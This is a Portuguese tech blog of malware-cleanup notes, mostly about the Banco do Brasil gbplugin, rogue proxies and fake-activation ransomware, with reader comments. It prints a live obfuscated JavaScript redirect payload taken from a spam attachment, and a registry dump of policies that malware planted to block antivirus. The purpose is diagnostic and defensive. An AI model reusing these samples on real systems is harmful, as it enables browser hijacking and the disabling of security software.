 Jefferson,  07 de setembro de 2014,  bb, gbplugin, malwareEu perdi duas horas com isso em um cliente, mas admito que deveria ter desconfiado antes. O sintoma é que ao rodar o DiagnosticoBB, este dá erro na instalação do Stormfish, mas não diz a razão. Mas quando olhei o log que o programa faz desconfiei da configuração de proxy e era isso mesmo. Algum malware quie nem estava mais na máquina havia configurado um proxy que provavelmente estava bloqueando baixar o Stormfish.
Bastou apagar a configuração para conseguir instalar o módulo.
Por conta desse tipo de coisa e o fato de que em quase 100% dos casos quando um proxy está configurado é ato de malware, eu até adicionei a um programa de testes que eu fiz o teste da existência de um proxy, para me avisar quando eu esquecer de olhar.
(Prefira clicar em "Responder" se estiver comentando um comentário)
Jefferson, 07 de setembro de 2014, malwareUma discussão que estou tendo agora em uma lista que está rodando em torno da ignorância (sem intenção de desrespeitar) do usuário comum me fez lembrar de um caso que aconteceu há mais de um ano quando eu visitava uma cliente. A mãe dela veio me perguntar se eu podia ajudá-la a instalar um jogo de paciência (cartas) no tablet porque ela vinha tentando há muito tempo e não conseguia. Eu pedi a ela que me mostrasse o que ela tinha tentado e para meu espanto ela abriu o browser no Google, colocou “Jogo de Paciência” na busca e mostrou os resultados. Disse que tentou instalar tudo o que achou, sem sucesso (é claro).
O choque foi grande. Eu nunca esperaria que o usuário fosse por esse caminho, mas depois de passado o susto eu percebi que eu deveria ter imaginado. Eu expliquei a ela porque não tinha dado certo e orientei a usar o Google Play. Até baixei e instalei um jogo na frente dela.
Se o resultado de uma busca dessas fosse primariamente de aplicações Android e o Android permitisse a fácil instalação de APKs baixados via browser, ela estaria com o tablet “completamente dominado”.
Se o Google servisse resultados específicos baseados no tipo de aparelho que ela usava, não seria perfeitamente possível um autor de malware explorar isso para oferecer um trojan completo com explicações de como fazer a instalação? Alguém duvida de que essa senhora seguiria essas instruções? Eu não.
(Prefira clicar em "Responder" se estiver comentando um comentário)
Jefferson, 06 de setembro de 2014, bb, gbplugin, malware, manutençãoJá aconteceu com dois clientes empresariais meus. O Banco do Brasil detecta que a máquina foi comprometida e não adianta remover o vírus e ir ao banco trocar senha. O acesso ao banco continua bloqueado. Ao ligar para o suporte a resposta é a mesma: “formate a máquina”.
O primeiro cliente achou que era melhor formatar mesmo. Eu fiz um backup dos dados, usei a recuperação do sistema do Windows 8 para deixar a máquina do jeito que foi comprada e restaurei os dados. O BB parou de implicar. Esse cliente só usa esse computador para acessar banco e ver emails então “formatar” não é tão assustador.
Mas na segunda vez que o suporte saiu com essa o próprio cliente (era outro) achou que era demais, porque era uma máquina muito mais complexa, com muitos softwares específicos, feitos exclusivamente para a empresa, para instalar. E várias operações da empresa (um supermercado) iam ficar paralisadas durante o processo. O cliente sabia por experiência anterior que ia levar dias para deixar a máquina do jeito que era. Então me chamou para resolver.
Localizei e removi o malware, consertei a instalação detonada do Avast, mas já sabia pela minha experiência anterior que isso não seria suficiente para aplacar a fúria dos deuses do BB. Apenas um sacrifício em forma de formatação seria aceito. Então tentei algo simples para simular a formatação que aparentemente funcionou. Usei o Autoruns para determinar onde estavam os arquivos relacionados ao plugin de segurança (gbplugin) e um LiveCD para removê-los.
Aparentemente deu certo. Já faz duas semanas que o cliente não fala nada.
04/10/2018: Eu vinha fazendo isso sem problemas há quatro anos, mas a situação agora é outra.
(Prefira clicar em "Responder" se estiver comentando um comentário)
Jefferson, 06 de setembro de 2014, bb, gbplugin, malware, RedesComo o maldito gbplugin (o plugin de segurança do Banco do Brasil, Santander e outros) não tem desinstalador você é obrigado a removê-lo na marra com um LiveCD. E para se livrar completamente dele é preciso apagar tanto o diretório Arquivos de Programas\gbplugin quanto os drivers que ele joga em Windows\System32. Mas justamente apagar esses drivers sem um procedimento de desinstalação “quebra” sua rede, porque pelo menos um deles é instalado como “filtro” e tudo tem que passar por ele. Até mesmo uma solicitação DHCP!
O sintoma é que você sequer consegue obter um endereço IP.
Mas resolver isso até agora foi simples. Nas duas vezes que aconteceu comigo bastou eu usar um dos procedimentos que explico nesta página. É o comando:
netsh int ip reset c:\reset.txt
Isso “reseta” suas conexões de rede para o estado default, com o adicional de explicar tudo o que foi encontrado de errado em c:\reset.txt
Nota: escrever em “c:\” funciona no XP mas pode ser recusado do Vista em diante. Você pode precisar editar isso para que grave em uma pasta.
Na maioria dos casos isso não cria qualquer problema adicional e ainda elimina outros “parasitas” da conexão. Mas é sempre bom olhar o conteúdo de reset.txt para ver se o procedimento não removeu algo de que o usuário vá sentir falta. Por exemplo, programas de controle de uso de banda ou filtros de firewalls também podem acabar sendo removidos.
É possivel editar o Registro para remover especificamente a chamada ao filtro do gbplugin, mas eu não estou encontrando onde eu anotei o caminho. Quando eu achar editarei este post.
(Prefira clicar em "Responder" se estiver comentando um comentário)
Jefferson, 05 de setembro de 2014, bb, gbplugin, malware[19/01/2015] quando escrevi este texto, em setembro do ano passado, estava me referindo ao (maldito) gbplugin da Gas Informatica. Hoje existe um segundo plugin usado pelo BB, o Trusteer Rapport, que parece se comportar melhor que o gbplugin. Pelo menos, conforme relatos nos comentários, ele parece permitir ser desativado.
[29/06/2016] Mais de um ano se passou depois que escrevi o comentário acima e o gbplugin continua sendo instalado. O que parecia ser o BB resolvendo o problema (a troca do módulo de segurança) mostrou-se ser o BB aumentando a superfície do problema (agora são dois ou mais).
Há semanas venho tendo problemas com computadores de clientes que ficam inexplicavelmente lentos para o hardware que tem (um dos casos tem um Core i3) e só percebi ao passar pelo último que comum a todos era a necessidade de acessar o Banco do Brasil. O problema ocorre tanto no Windows XP quanto no 7. O Antivirus pode ser Avast, Avira, Norton ou AVG.
Eu desconfiei porque no caso da última cliente o computador funcionou normalmente na minha presença. Quando cheguei lá a lentidão era causada pelo Avira que estava com um serviço travado consumindo 100% da CPU (não aparecia no Gerenciador de Tarefas). Mas quando voltei para casa a cliente ligou dizendo que tornou a ficar lento. Pedi que ela usasse o computador sem fazer acesso ao banco e observasse se o problema só voltava depois de acessar o site. Depois reiniciar e testar de novo. A cliente passou alguns dias em silêncio mas confirmou ontem que a máquina só fica lenta depois de acessar o BB.
Ainda não tenho certeza do que está havendo.
[12/02/2015] O título original deste post era “Plugin de segurança do Banco do Brasil pode estar transformando PCs em carroças”. Eu mudei porque hoje eu tenho certeza de que o malware da GAS é responsável por extrema lentidão em uma infinidade de instalações do Windows. Por que eu chamo a “solução de segurança” da GAS de malware? Ora…
- Se a coisa se instala na sua máquina, provocando qualquer efeito negativo (e o malware da GAS provoca muitos);
- Resiste a todas as suas tentativas de desinstalação;
- Se instala com o objetivo de proteger o acesso bancário, mas está ativo do momento que você liga o computador até desligá-lo e monitora tudo o que você faz no computador, mesmo que você passe dias ou semanas sem acessar um banco. Ora, na maioria das instalações ele está rodando até quando você entra no Modo de Segurança do Windows. E isso para mim já basta para no mínimo configurar um comportamento questionável;
- É uma caixa preta sem qualquer documentação de comportamento. Você não sabe o que uma determinada versão faz ou deixou de fazer e isso me permite (e obriga a) fazer generalizações a respeito de seu comportamento e efeitos.
É malicioso. É malware. Se a GAS pelo menos desse uma alternativa de desinstalação rigorosa acessível para dono da máquina eu classificaria apenas como um software muito mal feito.
[29/06/2016]
Mais de um ano e meio depois e ainda estou encontrando problemas provocados pelo malware da GAS. Não é preciso que você tenha feito algum acesso ao BB para a máquina ficar lenta e os sintomas incluem:
- Grande demora para abrir os navegadores;
- Listas rolando em “câmera lenta”;
- Leitor de código de barras funcionando como se você estivesse digitando caractere por caractere no teclado;
- Google Maps com enorme dificuldade para traçar rotas;
- Pausa exagerada ao clicar em links durante a navegação;
- etc, etc, etc…
(Prefira clicar em "Responder" se estiver comentando um comentário)
Jefferson, 19 de julho de 2014, malwareEu acredito que já comentei antes, aqui mesmo ou no Buzz, sobre como malware vem bloqueando a execução de antivirus através da corrupção dos descritores de segurança (NTFS) do diretório. Ontem eu esbarrei em um método mais sutil mas igualmente eficaz: aplicar uma diretiva de segurança no Registro que impeça o software de rodar.
É claro que isso só é possivel se o malware estiver rodando com privilégios de administrador, o que é a situação da grande maioria dos usuários no Windows XP e depende de um descuido do usuário no Vista em diante. Coisa muito fácil ocorrer.
Eu já havia eliminado manualmente a infecção da máquina quando esbarrei nesse problema. Se você não remover o malware antes, fazer o que está explicado aqui pode ser perda de tempo.
Sintomas
O ícone do Avast não aparecia na barra de tarefas mas o diretório estava lá, com aparentemente todos os arquivos e acessível para inspeção. Uma checagem com o Autoruns mostrou que o Avast estava configurado para ser executado, mas não rodava.
O HDD do cliente era FAT32, logo o problema dos descritores de segurança NTFS não se aplicava.
Desinstalei o Avast. Toda a desinstalação correu bem exceto por uma estranha mensagem dizendo que regsrv32.exe, no diretório do Avast, não podia ser executado devido a uma diretiva de restrição de software. Fui olhar o diretório e este estava vazio. Até esse ponto eu ainda não havia entendido o que estava ocorrendo.
Por precaução, rodei também o desinstalador completo do Avast. Nenhum erro foi exibido.
Mas depois de reinstalar o Avast o problema persistiu. O programa não rodou após a instalação, mesmo após reiniciar o PC. Nenhuma mensagem de erro era exibida.
Decidi executar manualmente e foi somente então que eu descobri o que estava ocorrendo. Assim que eu tentei rodar AvastUI.exe, foi exibida a mesma mensagem que eu havia visto antes a respeito de regsrv32.exe, mas indicando que desta vez AvastUI.exe é que estava bloqueado por uma diretiva de restrição de software. O diretório inteiro devia estar bloqueado.
“O Windows não pode abrir este programa devido a uma diretiva de restrição de software”
A mensagem também dizia que eu olhasse no log de eventos para mais informações. Eu olhei e não vi nada que parecesse útil.
Executei secpol.msc (é um programa nativo do Windows XP professional) e procurei por uma diretiva bloqueando o Avast. Não achei nada. Pior que isso, secpol.msc dizia “Nenhuma diretiva de restrição de software definida”.
Ou eu estava procurando no lugar errado ou era mais um caso onde o malware consegue fazer algo e esconder isso da GUI do Windows.
A solução
Então eu fui olhar manualmente no Registro. Depois de procurar onde eu supunha que ia achar as diretivas e não achar nada, decidi fazer uma busca por todas as referências a AvastUI.exe. Encontrei algo suspeito em
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\0\Paths
Veja o conteúdo completo do backup que fiz antes de fazer modificações:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 |
Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\0\Paths] [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\0\Paths\{00000001-2352-4E27-0000-A78FA6846795}] "ItemData"="C:\\Arquivos de programas\\Norton Internet Security\\Engine\\21.4.0.13\\NIS.exe" "Description"="" [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\0\Paths\{00000001-2352-4E27-0001-A78FA6846795}] "ItemData"="C:\\Arquivos de programas\\Norton Internet Security\\Engine\\21.4.0.13\\symerr.exe" "Description"="" [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\0\Paths\{00000080-2352-4E27-0000-A78FA6846795}] "ItemData"="C:\\Arquivos de programas\\AVAST Software\\Avast\\avastui.exe" "Description"="" [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\0\Paths\{00000080-2352-4E27-0001-A78FA6846795}] "ItemData"="C:\\Arquivos de programas\\AVAST Software\\Avast\\AvastSvc.exe" "Description"="" [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\0\Paths\{00000080-2352-4E27-0002-A78FA6846795}] "ItemData"="C:\\Arquivos de programas\\AVAST Software\\Avast\\AvastEmUpdate.exe" "Description"="" [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\0\Paths\{00000080-2352-4E27-0004-A78FA6846795}] "ItemData"="C:\\Arquivos de programas\\AVAST Software\\Avast\\*.exe" "Description"="" [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\0\Paths\{dda3f824-d8cb-441b-834d-be2efd2c1a33}] "Description"="" "SaferFlags"=dword:00000000 "ItemData"=hex(2):25,00,48,00,4b,00,45,00,59,00,5f,00,43,00,55,00,52,00,52,00,\ 45,00,4e,00,54,00,5f,00,55,00,53,00,45,00,52,00,5c,00,53,00,6f,00,66,00,74,\ 00,77,00,61,00,72,00,65,00,5c,00,4d,00,69,00,63,00,72,00,6f,00,73,00,6f,00,\ 66,00,74,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,77,00,73,00,5c,00,43,00,75,\ 00,72,00,72,00,65,00,6e,00,74,00,56,00,65,00,72,00,73,00,69,00,6f,00,6e,00,\ 5c,00,45,00,78,00,70,00,6c,00,6f,00,72,00,65,00,72,00,5c,00,53,00,68,00,65,\ 00,6c,00,6c,00,20,00,46,00,6f,00,6c,00,64,00,65,00,72,00,73,00,5c,00,43,00,\ 61,00,63,00,68,00,65,00,25,00,4f,00,4c,00,4b,00,2a,00,00,00 "LastModified"=hex(b):cc,8a,7d,24,24,84,cb,01 |
Apesar de não haver nenhuma indicação nessa chave de que se tratava de um bloqueio, achei suspeito que existisse referência aos dois antivirus que estavam instalados na máquina (eu já havia desinstalado o Norton por também não estar funcionando). Fiz o backup, apaguei todas as chaves exceto a última (a que não faz referência a nenhum diretório) e reiniciei o PC. Problema resolvido.
Note que uma das chaves faz referência a todos os executáveis do diretório Avast através de coringa (*.exe). Então eu tive sorte de encontrar procurando por AvastUI.exe.
A razão para isso não aparecer em secpol.msc? Eu fiz um pequeno teste aqui e constatei que, para decidir o que bloquear, o Windows somente olha as chaves sob a chave indicada aqui. Mas na hora de listar, ele começa por outra chave onde ele espera encontrar “links” para essas. Como o malware somente cria as mostradas aqui, as diretivas ficam “invisíveis” para a ferramenta nativa.
|
|
Texto de Jefferson Ryan - cópias fora de ryan.com.br não são autorizadas. |
(Prefira clicar em "Responder" se estiver comentando um comentário)
Jefferson, 03 de março de 2012, Hostgator, malwareÉ dureza lidar com os falsos positivos dos antivírus.
Hoje a Hostgator me mandou uma mensagem de violação do TOS dizendo ter encontrado malware na minha conta. Por um instante eu fiquei preocupado, porque só me faltava outro incidente como a massiva infecção causada por Krisbarteo em maio de 2009. Mas uma rápida olhada na explicação me deixou aliviado. Uma grande quantidade de antivirus está marcando como malware um simples arquivo batch usado para remover o Gbplugin. Apenas cinco linhas de texto em um arquivo .cmd
movefile.exe C:\PROGRA~1\GBPLUGIN\bb.gpc “”
movefile.exe C:\PROGRA~1\GBPLUGIN\gbieh.dll “”
movefile.exe C:\PROGRA~1\GBPLUGIN\gbieh.gmd “”
movefile.exe C:\PROGRA~1\GBPLUGIN\gbpdist.dll “”
movefile.exe C:\PROGRA~1\GBPLUGIN\GbpSv.exe “”
E olha que o arquivo “malicioso” estava dentro de um arquivo RAR.
Relatório do Virustotal para esse “perigoso” arquivo
Por um lado, é interessante ver mais empresas trabalhando ativamente para conter a praga do malware. Por outro lado, se torna necessário tomar medidas para que sites técnicos onde se discute código malicioso não acabem sendo penalizados com remoção de arquivos, bloqueio de acesso ou blacklisting. No mínimo, é preciso criptografar os arquivos sabidamente maliciosos com senha pública para evitar a detecção automática
(Prefira clicar em "Responder" se estiver comentando um comentário)
Jefferson, 13 de janeiro de 2012, malware, manutençãoAo chegar ao cliente ontem me deparei com uma situação familiar que logo ficou bizarra. Era o Windows Seven acusando não ser uma cópia original logo ao iniciar. Porém ao contrário do que eu estava acostumado a ver, não havia opção para continuar usando o computador. Se eu não quisesse fazer a ativação, o computador era desligado.
Então eu prestei atenção às mensagens e a verdadeira natureza do que eu estava enfrentando ficou evidente. A primeira mensagem dizia:
“Seus documentos estão agora criptografados…”
E não existe a menor chance da Microsoft fazer uma m**da dessas.
A segunda mensagem dizia;
“Ative o seu Windows agora por apenas R$15”
E também não existe a menor chance da MS cobrar tão barato pelo Windows!
Digitei CTR-ALT-DEL para abrir o Gerenciador de Tarefas e encontrei um processo estranho “xplorer.exe”, que ao ser finalizado fazia a mensagem desaparecer. Usando o comando Executar do Gerenciador abri o Autoruns no meu pendrive e pude constatar que o tal xplorer.exe estava sendo executado como “Shell” na inicialização, por isso o usuário perdia totalmente o uso da máquina. Usando o próprio Autoruns eu desativei a chamada ao malware e reiniciei.
Problema resolvido.
Ao ver o ícone do programa malicioso o filho do cliente admitiu que havia executado aquilo achando que fosse um CD de música baixado do 4shared.
(Prefira clicar em "Responder" se estiver comentando um comentário)
Jefferson, 28 de setembro de 2010, malwareO Avast está encontrando um trojan horse no meu Buzz. E ele não está completamente errado 
Eu não havia percebido porque uso o Firefox, mas se você abrir este post no Internet Explorer:
http://www.google.com/buzz/117578158927571476541/S7ArvgwkA6k/
O Avast vai acusar o trojan JS:ScriptPE-inf [trj] e bloquear o acesso.
Nota: do jeito que está no meu post, o código do trojan é inofensivo, desde que você não clique nos links dele. O Avast está se baseando pela "assinatura" do vírus, sem notar que ela está apenas sendo exibida para análise.
(Prefira clicar em "Responder" se estiver comentando um comentário)
Jefferson, 24 de setembro de 2010, malware, spamHoje eu recebi duas mensagens muito estranhas, que passaram pelo filtro do Gmail, com um anexo em HTML. Visualizando o anexo no Google Docs parecia perfeitamente “seguro”, mas eu sabia que se tratava de alguma pilantragem. Salvei o anexo no HDD e dei uma olhada no código fonte.
Entre uma frase e outra visível, isso estava escondido:
<script>if(frames){if(top.frames.length>0)top.location.href=self.location;}</script><script language=JavaScript>document.write(unescape(‘%3Cme%74a h%74tp%2Deq%75iv%3D%22r%65fr%65sh%22 co%6Ete%6Et%3D%220%3B%75rl%3Dht%74p%3A%2F%2Fg%72ad%75at%69on%6Fut%66it%74er%73%2Ec%6F%2Ez%61%2F1%2Eht%6Dl%22 %2F%3E%0D%0A%3Ct%61bl%65 wi%64th%3D%221%300%25%22 bo%72de%72%3D%22%30%22%3E%3Ctr %62gc%6Flo%72%3D%22%2355%3668%38%22 a%6Cig%6E%3D%22%63en%74er%22%3E%3C%74d%3E%3Ca h%72ef%3D%22h%74tp%3A%2F%2F%77ww%2Epu%6Cls%6Fft%2Eco%6D%2Fh%74ml%70ow%65r%2E%68tm%22%3E%3C%66on%74 fa%63e%3D%22Ar%69al%2C He%6Cve%74ic%61%2C s%61ns%2Dse%72if%22 co%6Cor%3D%22#%46FF%46FF%22 si%7Ae%3D%22%2D1%22%3ET%68is %57eb %50ag%65 wa%73 pr%6Fte%63te%64 by %48TM%4CPo%77er%2C Cl%69ck %68er%65 to %52eg%69st%65r%3C%2Ffo%6Et%3E%3C%2Fa%3E%3C%2F%74d%3E%3C%2Ft%72%3E%3C%2Fta%62le%3E%0D%0A’))</script>
Eu não tive paciência para decodificar tudo, mas se você tiver alguma noção de caracteres de escape e olhar com cuidado após “unescape” verá que isso começa injetando no browser “<meta http equiv refresh…”
Ou seja, é pilantragem mesmo. Não sei ainda o objetivo, mas até clicar em arquivos html está perigoso.
Liked by: Henzo M. F. Gomes, Roberto Acioli
(Prefira clicar em "Responder" se estiver comentando um comentário)
|
|
Coloquei Trusteer na procura do Iniciar, e apareceram esses dois ícones.
Ryan,
No meu PC, o plugin instala para o Firefox, mas não instala no Chrome. Até fui na opção de download direto do Stormfish oferecido pelo site do BB, baixei, instalei, não deu erro, mas continuo não conseguindo acesso pelo Chrome. Alguma sugestão do que devo tentar? Obrigado. Daniel
Eu tentaria uma versão mais antiga do Chrome, talvez na forma de versão portable. O Chrome é uma praga mutante e não duvido nada que uma atualização tenha quebrado a compatibilidade com o plugin. Mas eu ainda não esbarrei nesse problema.
No chrome va ate clique no menu acima a direita depois da barra de pesquisa clique nele vai abrir uma janela clique em configurações ao abrir a janela clique em extensões na parte esquerda superior logo abaixo das extensões que tiver instalada esta tem uma opção a esquerda inferior (obter mais extensão) clique e vai abrir outra janela , novamente a esquerda superior tem uma barrinha de pesquisa digite ( banco do Brasil) você tem que estar online veja na sua pesquisa ira aparecer vários itens na pesquisa entre eles GBBD do banco do Brasil. Obs: poderá aparecer igual, e esta escrito na frente (avaliar) não recomendo escolher esse, pois instalei o outro e funcionou na hora nem precisei reiniciar o micro.
Me desculpem a falha no post anterior.
Daniel, No chrome va ate o menu acima a direita depois da barra de pesquisa. 
Você me ajudou velho.. muito obrigadoooo!
Meu amigo Wilson segui seus passos e parei no “vários itens na pesquisa entre eles GBBD do Banco do Brasil, qual o passo seguinte, só um comentário no meu não apareceu a opção GBBD. Grato pela atenção.
Pelo chrome voce vai em opções – complementos – manda procurar, procure banco do brasil e instale o modulo de segurança.
Pronto.
O instalador do malware da GAS usa as configurações de internet do IE.
Estava com o mesmo problema com a Caixa, sou usuário do Firefox e não conseguia instalar o adicional de segurança da Caixa, depois de muitas tentativas, verifiquei que o IE estava configurado para o modo offline, o que impedia a instalação.
como coloco o ie em online?
Pô valeu mesmo ja tava sem saber o que fazer , ate antivirus eu troquei e era apenas a b osta do proxy no internet explore.